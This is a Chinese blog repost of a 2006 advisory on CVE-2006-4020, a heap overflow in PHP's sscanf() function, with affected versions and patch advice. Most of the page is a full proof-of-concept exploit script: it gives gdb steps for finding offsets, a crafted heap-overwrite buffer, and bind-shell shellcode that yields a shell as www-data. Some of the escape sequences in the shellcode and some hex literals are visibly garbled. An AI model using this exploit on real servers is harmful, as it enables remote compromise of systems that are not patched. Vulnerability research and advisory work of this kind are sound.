[转载]PHP sscanf函数本地堆缓冲区溢出漏洞

原文地址:http://hefei.cyberpolice.cn/news/aqgg/200609/08070

PHP sscanf函数本地堆缓冲区溢出漏洞

受影响系统:
PHP PHP <= 5.1.4
PHP PHP <= 4.4.3
不受影响系统:
PHP PHP 5.1.5
PHP PHP 4.4.4
描述:
——————————————————————————–
BUGTRAQ ID: 19415
CVE(CAN) ID: CVE-2006-4020

PHP是广泛使用的通用目的脚本语言,特别适合于Web开发,可嵌入到HTML中。

PHP的sscanf()函数处理用户的格式化参数时存在漏洞,本地攻击者可能利用此漏洞通过PHP代码执行任意指令。

如果象如下例子那样向sscanf()函数传递指针的指针作为参数,则会触发堆溢出问题,可能导致执行任意指令:

sscanf(’foo ’,’$1s’,$bar)

<*链接:http://www.securityfocus.com/archive/1/442438/30/30/threaded

http://www.plain-text.info/sscanf_bug.txt

http://secunia.com/advisories/21403/print/

*>

测试方法:
——————————————————————————–

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<?
/***********************************************************
* hoagie_php_sscanf.php
* PHP <= 4.4.3 / 5.1.4 local buffer overflow exploit
*
* howto get offsets:
* (set $base_addr to 0×41414141)
* # ulimit -c 20000
* # /etc/init.d/apache restart
* (execute script via web browser)
* # tail /var/log/apache/error.log
* …
* [Wed Aug 16 15:07:10 2006] [notice] child pid 28222 exit signal
Segmentation fault (11), possible coredump in /tmp
* …
* $Content$nbsp;gdb /usr/sbin/apache /tmp/core
* …
* …
* #0 0x40422b2d in php_sscanf_internal () from
/usr/lib/apache/1.3/libphp4.so
* (gdb) x/250 $edx
* …
* 0x83ae16c: 0×41414141 0×41414141 0×41414141
0×41414141
* 0x83ae17c: 0xdeadbabe 0×41414145 0x4141415d
0×00000001
* ^^^^^^^^^^
* start of our buffer (0x83ae180) =
$base_addr
* 0x83ae18c: 0×00000008 0x4141415d 0x0833d248
0×00000400
* 0x83ae19c: 0x909006eb 0×90909090 0xe3f7db31
0x435366b0
* ^^^^^^^^^^
* start of shell code
(0x83ae1a4)
* 0x83ae1ac: 0×89534353 0x80cd4be1 0x6652c789
0x43204e68
* 0x83ae1bc: 0xe1895366 0xd0f6efb0 0×89575150
0xcd66b0e1
* 0x83ae1cc: 0x4366b080 0x5080cd43 0xe1895750
0xcd66b043
* 0x83ae1dc: 0x89d98980 0x2c6fb0c3 0x80cd4930
0x51f6e241
* 0x83ae1ec: 0x732f6e68 0x2f2f6868 0xe3896962
0xe1895351
* 0x83ae1fc: 0xd0f6f4b0 0x414180cd 0×41414141
0×41414141
* 0x83ae20c: 0×41414141 0×41414141 0×41414141
0×41414141
* …
* (gdb) quit
* #
* (change $base_addr in exploit and now call url again)
* # gdb /usr/sbin/apache /tmp/core
* #0 0x40475e73 in _efree ()
* from /usr/lib/apache/1.3/libphp4.so
* (gdb) x/4w $ebp
* 0xbfffb018: 0xbfffb038 0×40484241 0x0812a2f4
0xbfffb038
* ^^^^^^^^^^
* return address (return address location
= 0xbfffb01c)
* (change $rec_log in exploit and call url again)
* $Content$nbsp;telnet 127.0.0.1 20000
* Trying 127.0.0.1…
* Connected to localhost.
* Escape character is ’^]’.
* id;
* uid=33(www-data) gid=33(www-data) groups=33(www-data)
* exit;
* Connection closed by foreign host.
* $
*
* NOTE: Because of PHP memory allocation this exploit depends on
filename, pathname
* content etc… (because each line/byte will change emalloc()
behavior
*
* Credits: Heintz (discovered this bug)
* BigHawk (bind shell code)
* Greuff (void.at)
*
* THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-
* CONCEPT. THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY
* DAMAGE DONE USING THIS PROGRAM.
*
* VOID.AT Security
* [email protected]
* http://www.void.at
*
************************************************************/

/* base_addr for buffer in memory */
$base_addr = 0x812a260;
$base_addr_fill = 0×16;
/* byte 0 = fill up, byte 1 = refcount, byte 2 = is_ref, byte 3 = type
*/
$zval_attr = 0×00000008;
/* will be overwritten to execute our shellcode */
$ret_loc = 0xbfffb01c;
/* just for searching */
$pattern = 0xdeadbabe;

function long2str($addr) {
return pack( “V”, $addr);
}

$data =
/* fill up memory */
str_repeat(long2str($base_addr), $base_addr_fill) .
/* pattern */
long2str($pattern) .
/* current = base_addr */
long2str($base_addr + 0×4) .
/* *current = _zval_struct */
/* _zval_struct */
/* _zvalue_value */
/* _zvalue_value.str.val */
long2str($base_addr + 0×10 + 0xc) .
/* _zvalue_value_str.len */
long2str(0×00000001) .
/* _zval_struct.type, _zval_struct.is_ref, _zval_struct.refcount */
long2str($zval_attr) .
/* _zend_mem_header */
/* _zend_mem_header.pNext = start of shellcode */
long2str($base_addr + 28) .
/* _zend_mem_header.pLast */
long2str($ret_loc) .
/* zend_mem_header.size, zend_mem_header.cached */
long2str(0×000000400) .
/* jump over next six bytes */
“xebx06x90x90″ .
/* this bytes will be overwritten by efree() */
“x90x90x90x90″ .
/* shell code starts here -
* BigHawk bind() version – just a little update to get rid
* of 0x3f
*/
“x31xdbxf7xe3xb0x66x53x43x53x43x53x89xe1x4bxcd”
.
“x80x89xc7x52x66x68x4ex20x43x66x53x89xe1xb0xef”
.
“xf6xd0x50x51x57x89xe1xb0x66xcdx80xb0x66x43x43″
.
“xcdx80x50x50x57x89xe1x43xb0x66xcdx80x89xd9x89″
.
“xc3xb0x6fx2cx30x49xcdx80x41xe2xf6x51x68x6ex2f”
.
“x73x68x68x2fx2fx62x69x89xe3x51x53x89xe1xb0xf4″
.
“xf6xd0xcdx80″ .
/* fill up memory */
str_repeat(long2str($base_addr), $base_addr_fill);

/* fill up memory with emalloc() for sscanf() */
quotemeta($data);

/* trigger exploit */
sscanf($data, ’%1$s’, $str);
?>

建议:
——————————————————————————–
厂商补丁:

PHP

目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.php.net/downloads.php

此条目发表在Program, 转载分类目录,贴了标签。将固定链接加入收藏夹。

发表评论

电子邮件地址不会被公开。 必填项已用*标注

您可以使用这些HTML标签和属性: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>